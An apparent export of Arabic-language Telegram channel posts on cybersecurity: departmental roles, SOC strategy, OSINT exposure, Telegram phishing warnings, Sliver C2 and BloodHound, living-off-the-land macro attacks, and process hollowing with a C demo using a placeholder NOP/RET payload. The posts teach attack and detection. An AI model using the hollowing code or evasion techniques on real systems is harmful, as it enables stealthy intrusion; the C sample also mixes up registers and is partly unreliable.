الأمن السيبراني مو بس قسم
الأمن السيبراني هو الدرع لكل أقسام الشركة، من المالية إلى الموارد البشرية، وحتى الإدارة العليا كل قسم يعتمد على البيانات، وكل بيانات تحتاج حماية!

---

📌 الأمن السيبراني وعلاقته بباقي الأقسام:

1️⃣ قسم المالية (Finance) 💰
- التهديدات: هجمات **الاحتيال المالي**، سرقة الحسابات البنكية، تعديل الفواتير.
- دور الأمن السيبراني:
- حماية أنظمة الدفع الإلكتروني.
- مراقبة التحويلات غير المصرح بها.
- تأمين كلمات السر للموظفين الماليين.

2️⃣ الموارد البشرية (HR) 👥
- التهديدات: تسريب بيانات الموظفين (رواتب، تقارير أداء).
- دور الأمن السيبراني:
- تشفير ملفات الموظفين.
- منع الوصول غير المصرح به لسجلات HR.
- تدريب الموظفين على التصيد الاحتيالي (Phishing).

3️⃣ قسم المبيعات والتسويق (Sales & Marketing) 📊
- التهديدات: سرقة قواعد بيانات العملاء، اختراق حسابات التواصل الاجتماعي.
- دور الأمن السيبراني:
- حماية بيانات العملاء (مثل الـ CRM).
- تأمين حسابات التسويق الرقمي (فيسبوك، جوجل أدز).

4️⃣ الإدارة العليا (C-Level) 🏢
- التهديدات: هجمات التصيد المستهدف (Spear Phishing) ضد المدراء.
- دور الأمن السيبراني:
- تأمين البريد الإلكتروني للقيادات.
- استخدام المصادقة الثنائية (2FA) لجميع الحسابات المهمة.

5️⃣ قسم التطوير والبرمجة (Dev & IT) 💻
- التهديدات: ثغرات في السوفتوير، هجمات حقن SQL.
- دور الأمن السيبراني:
- تدريب المطورين على Secure Coding.
- فحص التطبيقات قبل نشرها (Penetration Testing).

CH : @SparkSecurity

لماذا الأمن السيبراني مهم لكل الاقسام
البيانات = الذهب الجديد: أي تسريب أو اختراق يكلف الشركة خسائر مالية
- الامتثال للقوانين (مثل GDPR): بعض القوانين تفرض غرامات كبيرة على تسريب البيانات.
- حماية السمعة: العميل ما راح يثق بشركة تعرضت لاختراق!

CH : @SparkSecurity

كُل عام وانتم بخير مُجتمعنا السيبراني 💙

#تحذير_تنويه

يرجى عدم الدخول او الضغط على أي رابط يصلكم على التلغرام .. فبمجرد الضغط على الرابط وتقوم بتسجيل الدخول، سيحصل على اذن للدخول الى حسابك والسيطرة عليه، ثم القيام بارسال الرسائل نيابة عنك الى الجميع .. اي يتم تهكير الحساب .
🙏ماذا تفعل اذا تم تهكير حسابك ..
1- تذهب الى الاعدادات في التلغرام، ثم الغاء جميع الجلسات النشطة ..
2- الغاء الحساب نهائيا، ثم اعادة التسجيل من جديد، وبرمز دخول جديد .

CH : @SparkSecurity

منشورات بعد قليل

استراتيجيات الـ SOC
شنو هو الـ SOC؟ 🤔
مثل ما تعرفون انُ الـ Security Operations Center (SOC) هو العقل المدبر لأي منظومة أمن سيبراني هو الفريق أو القسم المسؤول عن مراقبة، تحليل، والتصدي للهجمات السيبرانية قبل لا تسبب أي ضرر


الاستراتيجية الأولى الـ Threat Intelligence

ماكو دفاع قوي بدون معلومات قوية! لازم الـ SOC يكون مرتبط بمصادر استخبارات التهديدات
حتى يواكب أحدث أساليب الهجوم ويعرف شلون يواجهها استخبارات التهديدات تشمل

🔹 OSINT (Open Source Intelligence) – مراقبة الثغرات والهجمات المعلنة
🔹 CTI Feeds – مثل MITRE ATT&CK، AlienVault OTX، وIBM X-Force
🔹 TI Platforms – مثل ThreatConnect، Recorded Future وغيرها

الهدف؟ يكون عندك تصور كامل عن أنواع التهديدات المحتملة حتى تسبق المهاجمين بخطوة!


الاستراتيجية الثانية الـ Proactive Monitoring – لا تنتظر الهجمة، اصنع السيناريوهات



الأمن السيبراني مو مجرد رد فعل للهجمات، لازم نكون استباقيين. هنا نستخدم تقنيات مثل

🔸 Honeypots & Deception Technologies – نسوي سيرفرات وهمية تخدع المهاجم حتى نكشف طرقه
🔸 User & Entity Behavior Analytics (UEBA) – متابعة تصرفات المستخدمين والأجهزة داخل الشبكة لكشف أي نشاط مشبوه
🔸 Threat Hunting – البحث عن التهديدات المخفية داخل الشبكة باستخدام
YARA، Sigma Rules، وElastic Stack

النتيجة؟ راح تكدر تكتشف الهجوم قبل لا يوصل للأنظمة الحقيقية!


الاستراتيجية الثالثة الـ SIEM – قلب الـ SOC النابض!

بدون SIEM (Security Information and Event Management)، الـ SOC مثل شخص أعمى!
الـ SIEM يجمع كل اللوكات (Logs) من السيرفرات، الأجهزة، الفايروولات، والـ IDS/IPS، ويحللها بشكل مركزي

أفضل SIEM Solutions بالسوق؟
🔹 Splunk Enterprise Security – الأقوى لكن مكلف 💰
🔹 IBM QRadar – متوازن بين الأداء والتكلفة
🔹 Elastic Security – مجاني وقوي لكن يحتاج ضبط يدوي
🔹 Microsoft Sentinel – متكامل مع الـ Azure Cloud

شنو الفائدة؟
🔹 تحليل الأحداث الأمنية بلحظة وقوعها
🔹 ربط كل البيانات الأمنية بمكان واحد
🔹 اكتشاف الأنشطة المشبوهة والتنبيه عنها بشكل تلقائي


الاستراتيجية الرابعة: الـ Incident Response – لا تخلي الهجمة تسيطر عليك!


الاستراتيجية الرابعة الـ Incident Response – لا تخلي الهجمة تسيطر عليك!

إذا صار اختراق أو تهديد، لازم يكون عندك خطة استجابة جاهزة حتى تقلل الخسائر خطة
الـ IR (Incident Response) تتكون من

1️⃣ Preparation – تجهيز خطط الطوارئ والـ Playbooks
2️⃣ Detection & Analysis – استخدام SIEM وEDR لاكتشاف التهديد
3️⃣ Containment – عزل الأنظمة المصابة عن الشبكة
4️⃣ Eradication – حذف الملفات الضارة وإزالة الثغرات
5️⃣ Recovery – استرجاع الأنظمة والتأكد من سلامتها
6️⃣ Lessons Learned – تحليل الهجمة وتحديث الدفاعات

مثال عملي؟ إذا اكتشفنا برمجية داخل الشركة، الخطوات راح تكون
✅ استخدام SOAR لتنفيذ استجابة تلقائية
✅ تشغيل Threat Intelligence لمعرفة مصدر الهجمة
✅ تحديث الـ Firewall Rules لمنع الهجوم مستقبلاً


CH : @SparkSecurity

‏ اداة Sliver C2

‏Framework بديل لـ Cobalt Strike – مفتوح المصدر، مكتوب بـ Go، ويشتغل cross-platform

ليش الـريد تيم يستعملونه ؟

لأنه stealthy، modular، وسهل تستخدمه بالعمليات التكتيكية الحقيقية، خصوصًا تگدر
تخصّص الـ payload، وتتعامل مع obfuscation و EDR bypass بمرونة

‏ اداة SharpHound + BloodHound

تجمع معلومات عن Active Directory وتعرضها بشكل رسومي (graph-based) من خلالها تعرف منو يملك صلاحيات، منو يقدر يصعد للـ admin، شنو النقاط الضعيفة… كلشي بالتفصيل نستخدمها بمرحلة enumeration بعد الدخول الأولي على شبكة مؤسسة

CH : @SparkSecurity

DNS providers that support DoH

AdGuard – https://dns.adguard.com/dns-query

BlahDNS – https://doh-fi.blahdns.com/dns-query

Cloudflare – https://cloudflare-dns.com/dns-query

dnswarden – https://doh.dnswarden.com/uncensored

Foundation for Applied Privacy – https://doh.applied-privacy.net/query

NextDNS – https://dns.nextdns.io/


PowerDNS – https://doh.powerdns.org

Quad9 – https://dns.quad9.net/dns-query

SecureDNS – https://doh.securedns.eu/dns-query

CH : @SparkSecurity

يالله

🔻 ‏OSE (Open Source Exploitation) - شنو يعني استغلال المصادر المفتوحة؟

"اللي يعرف يدور.. يكدر يخترق بدون ما يخترق!" 👀

بعالم الأمن السيبراني، أكو شي اسمه OSE (Open Source Exploitation)، وهي وحدة من أخطر وأذكى طرق جمع المعلومات والاستغلال، وتعتمد فقط على البيانات المتاحة للعامة بدون لا تثغرة ولا بايلود

كلشي تنشره على الإنترنت، بدون ما تدير بالك عليه، يعتبر كنز للمهاجم:

بروفايلك على LinkedIn ، صورك بالإنستكرام وفيسبوك ،
GitHub، Reddit، وحتى المواقع الشخصية ملفات PDF وDOC وEXIF metadata

وأحياناً... الـ DNS records أو حتى صفحات المواقع القديمة المؤرشفة بـ wayback machine!


هدف OSE مو بس جمع معلومات... لا!
المهاجم هنا ذكي يربط كل نقطة بمعلومة، يسوي تحليل هيكلي للهدف، ومن هاي البيانات

يحدد مَن الفريق التقني

يعرف أنظمة التشغيل المستخدمة

يتوقع البنية التحتية للموقع

يلكه إيميلات حقيقية للموظفين

يلكه بيانات مكررة... يمكن يلكه حتى باسورد قديم 🕵️‍♂️

‏OSE تعتبر مرحلة ما قبل الاستغلال

مو مثل الـ Exploitation العادي، هنا المهاجم يشتغل بطريقة صامتة جداً، بدون ما يسوي أي noise، ولا أي Alert يعني كأنه كاعدد يراقب من ورا الكواليس، وجاي يجمع داتا تبنيله صورة كاملة عن الهدف، حتى إذا قرر يهاجم، يضرب من أضعف نقطة

شلون تحمي نفسك من OSE؟
لا تنشر معلومات ما إلها داعي

اخفي البيانات الحساسة من ملفاتك قبل الرفع

راقب نفسك بمحركات OSINT مثل

Shodan

Google Dorks

Spiderfoot

theHarvester

وسوّ audit دوري على أثر بياناتك بالنت

اللي مايحمي نفسه من نفسه، لا يتوقع الحماية من غيره
OSE مو بس تجسس، هو فن، وهو البداية الفعلية لاختبار أي هدف

💡 وإذا فهمت هاي المرحلة، راح تعرف شلون تحمي نفسك حتى قبل لا توصلك الهجمة!
CH : @SparkSecurity

سلام عليكم بعد انقطاع دام لشهرين بسبب ضغط الشغل والدراسة، رجعتلكم، ورغم الانشغال، ما غبت عنكم وجنت دائماً حاضر لأي سؤال أو استفسار يوصلني منكم واجاوبكم عه

موضوع اليوم ليش الأمن السيبراني هو قمة الهرم التقني؟ وليش تحديد المسار أهم خطوة؟

ليش الأمن السيبراني هو قمة الهرم التقني؟ وليش تحديد المسار أهم خطوة؟

اللي يشتغل بعالم التقنية يعرف ان المجالات هوا برمجة ، شبكات ، قواعد بيانات ، انظمة تشغيل ، ذكاء اصطناعي وغيرها وغيرها من المجالات والتخصصات .. لكن لما توصل للامن السيبراني انت فعلياً هنا وصلت " قمة الهرم " لان هذا المجال يتطلب فهم كل الاقسام اللي تحته

ليش؟ لانك حتى تحمي نظام .. لازم تفهم شلون يشتغل ، صح لو لا ! , حتى تكشف ثغرة لازم تعرف الموقع او البرنامج شلون ديشتغل ؟ .. حتى تراقب هجوم لازم تعرف حركة الشبكة ، الامن السيبراني مو بس مجال هو تجميع وتحليل وتحكم ب كل المفاتيح

لكن الغلطة اللي يوكعون بيها هواي مبتدئين يبدون يتنقلون بين المواضيع ويكون متشتت وبدون هدف، يوم برمجة يوم شبكات يوم اداوات يوم كورس جديد وللاسف بدون خارطة طريق واضحة ويصيرون مثل اللي يركض بمكانه ومايعرف وين يريد يوصل


الحل !!

حدد تخصصك من البداية دفاعي ؟ هجومي ؟ تحليل جنائي ؟ ادارة مخاطر ؟

امشي على خارطة طريق لكل مجال وابني مهاراتك بشكل تدريجي وكل شي تدرسة خلي الة مُدة زمنية معينة اذا عبر المدة الزمنية مددها وكمل بي ، لاتضيع وكتك من مجال الى مجال ولاتخلي الخوف من ضياع الفرص يشتتك ، ابدي من الاساسيات واصعد بهدوء وخلي تركيزك ع العمق مو ع السطح!!


ومثل ما يكولون اذا عندك اساس قوي ف بعدين كلشي سهل حيصير عندك ، انت ابني اساس قوي والباقي سهل

CH : @SparkSecurity

من الناحية التقنية البحتة، الأمن السيبراني مو مجرد "حماية" مثل ما يتصوره البعض. هو علم متكامل يجمع بين

البرمجة (Coding)

حتى تكدر تكتب سكربت يفحص ثغرة، أو تبني أداة تحليل، لازم تكون عندك قدرة على التعامل وي لغات مثل

Python (اللغة الذهبية للأمن السيبراني)

Bash (للسكربتات على أنظمة Linux)

JavaScript (لفهم ثغرات الويب مثل XSS)

الشبكات (Networking)
لا يمكن تفهم هجمات مثل MITM، أو تتعامل مع IDS/IPS، بدون معرفة ببروتوكولات مثل

TCP/IP ، DNS ، HTTP/HTTPS

أنظمة التشغيل (OS)

سواء تشتغل على الجانب الهجومي أو الدفاعي، لازم تتعلم

Linux (خاصة توزيعات مثل Kali وParrot وUbuntu Server)

Windows (لتحليل الحوادث وسيناريوهات الـActive Directory)

تحليل الثغرات والاستغلال (Exploitation)

لازم تعرف شلون تشتغل الثغرات على مستوى
Web (SQLi, LFI, SSRF)

System (Buffer Overflow, Privilege Escalation)

Wireless و IoT و Mobile

5 الاستجابة للحوادث (Incident Response)
شلون تتعامل ويه اختراق حقيقي؟ تحليل سجلات (Logs)، جمع الأدلة، تشفير البيانات، وحتى تتبع الـIOCs.

6 التحليل الجنائي الرقمي (Digital Forensics)
فن تتبع الآثار، استرجاع البيانات، وتحليل الأدلة على مستوى

ملفات النظام

الذاكرة العشوائية (RAM)

الشبكات (Packet Analysis)


كل هذا ما تكدر تتعلمه دفعة وحدة، ولهذا السبب خارطة الطريق تعتبر "الهيكل الاساسي" لمسارك بدونها راح تبقى تايه تجرب أداة هنا، وتشوف كورس هناك، وتضيع عليك سنين بدون ما توصل لمكان

📍أهم نقطة لا تتعلم الأداة قبل ما تفهم المشكلة
يعني لا تستخدم Burp Suite وانت ما تعرف شنو HTTP Request/Response،
ولا تشتغل على Metasploit وانت ما تعرف شلون يشتغل الـPayload

CH : @SparkSecurity

مجموعة كورسات مميزة في مُختلف التخصصات التقنية

اضغط هنا

CH : @SparkSecurity

سلام عليكم نبلش ب اول سلسلة من سلسلة اساليب الاختراق .. خليكم جاهزين

المُخترق مو دائماً يستخدم ادواته ، مرات يستخدم ادواتك ضدك ، بس شلون !

LOTL - Living off the Land

هيج نوع من الاختراقات يعتمد على استغلال الادوات الشرعية الموجودة اصلا داخل نظام التشغيل الخاص بيك لتنفيذ هجوم بدون ما يخلي اثر واضح ، يعني!

مُمكن يستخدم PowerShell او WMI او CertUtil لتنزيل ملفلات او تنفيذ اوامر او حتى انشاء اتصال مابين كمبيوترك وسيرفره

ميحتاج يحمل تروجان او فايروس من برة كل شي يشتغل من داخل نظامك

مثل

المُخترق يرسل الك ملف Word انت تشوفه طبيعي بس هذا الملف الوورد انت حتشوفة طبيعي ومابي شي وتفتحة حيكون بي ماكرو هذا الماكرو يشغل البور شيل بشكل سايلنت ويحمل سكربت تقريباً مشابه للـKeylogger بس حيكون اكو باك دور ب جهازك

هاي واحدة من اساليب الاختراق طبعاً مو شرط يكون ملف وورد ممكن PDF وبيه exploit او ممكن ملف Excel او ممكن ملفات ثانية اخرى مُختلفة

CH : @SparkSecurity

الهجوم عن طريق Process Hollowing هو اسلوب اختراق متقدم يعتمد على افراغ عملية شرعية شغالة مثل Explorer.exe وحقن كود داخل هذا التاسك


شلون تتم تقنياً !

المُخترق ينشئ عملية شرعية بوضع "معلّق" (Suspended)
مثلًا svchost.exe أو notepad.exe
يستخدم دالة CreateProcess وي فلاك CREATE_SUSPENDED

راح يكدر يحصل على معلومات عن سياق التنفيذ (Context) ومسار الانستراكشن
باستخدام GetThreadContext()، يحدد عنوان نقطة البداية (Entry Point) داخل الذاكرة

مسح الكود الأصلي من ذاكرة العملية يستخدم VirtualAllocEx()
و WriteProcessMemory() لكتابة الكود داخل نفس المساحة حتى مايبين يحدث عنوان التنفيذ ليشير إلى البايلود الجديد يشغل العملية من جديد باستخدام ResumeThread()

هيج نوع من الاختراقات سهل يندمج ضمن بايلودات PowerShell أو Cobalt Strike أو Metasploit بنفس الوكت ما ينشئ ملف جديد صعب يكتشفه الـ Antivirus وبنفس الوكت يستخدم ملفات نظامية ماكو سبب منطقي تمنع تشغيلها

بعد ما عرفنا هذا الاسلوب لازم نعرف شلون نفحص اذا جان اكو هيج نوع من الاختراق مشتغل بجهازنا يا اما عن طريق EDR مثل Crowdstrike, SentinelOne, Microsoft Defender ATP

او عن طريق ادوات فورينسك مثل Process Hacker أو PE-sieve أو HollowHunter
ممكن تكشف أن العملية مفرغة (Hollowed) وأن الـ PE Header متلاعب به

واكيد اكو سجلات بداخل الوندوز اسمها Sysmon من خلال هاي الاوامر حتشوف اكو فرق بين الحدث الجديد الصار والقديم


الادوات اللي ممكن تستخدمها حتى تنفذ هيج نوع من الهجمات هو

Cobalt Strike (Beacon)

Metasploit (Meterpreter)

Empire

طبعاً اكو ناس راح تتشابك عدها المعلومات راح يشوفون انو هاي نفس طريقة الـ Injection

يعني الهولونك نفس الانجكشن بس اكيد اكو فرق من السما للكاع


الانجكشن هو حقن كود ب عملية موجودة فعلاً وتشتغل
اما الهولونك هو انشاء عملية جديدة بداخل عملية موجودة فعلاً ! لكن هنا يتم استبدال محتواها بالكامل يعني هي بيها حقن بس بطريقة مختلفة

CH : @SparkSecurity

اذا جنت من ضمن البلو تيم او حاب تكون بهالفريق ف استخدم PE-sieve حتى تفحص العمليات واعرف الفرق بين Mapped image و In-memory image

هسه نسوي مثال عملي اللي هو Process Hollowing بلغة C متطلباتة بسيطة

WIndows , mingw او Visual Studio او , IDE يعجبك
واكيد لازم صلاحية ادمنستريتر

#include <windows.h>
#include <stdio.h>

int main() {
STARTUPINFO si = { 0 };
PROCESS_INFORMATION pi = { 0 };
CONTEXT ctx;
ctx.ContextFlags = CONTEXT_FULL;

// بايلود وهمي (نستخدم بايلود اخر )
unsigned char shellcode[] = {
0x90, 0x90, 0x90, 0x90, 0xC3 // NOP NOP NOP NOP RET
};

//هنا ننشئ العملية
if (!CreateProcessA(
"C:\\Windows\\System32\\notepad.exe",
NULL, NULL, NULL, FALSE,
CREATE_SUSPENDED,
NULL, NULL, &si, &pi)) {
printf("[-] Failed to create process.\n");
return -1;
}

//هنا ناخذ معلومات السياق اذا يقرا او فشل ف القراءة
if (!GetThreadContext(pi.hThread, &ctx)) {
printf("[-] Failed to get thread context.\n");
return -1;
}

// قراءة العنوان من سجل EAX أو Rcx (اعتمادًا على النظام)
LPVOID baseAddress;
ReadProcessMemory(pi.hProcess, (LPCVOID)(ctx.Ebx + 8), &baseAddress, sizeof(LPVOID), NULL);

// كتابة الكود في الذاكرة
WriteProcessMemory(pi.hProcess, baseAddress, shellcode, sizeof(shellcode), NULL);

// تشغيل العملية
ResumeThread(pi.hThread);

printf("[+] Hollowed notepad.exe with shellcode!\n");

return 0;
}

CH : @SparkSecurity

نكمل بعدين ونشوفكم بخير Good Luck ❤️

منشور جديد على الانستكرام

اضغط هنا للمشاهدة

CH : @SparkSecurity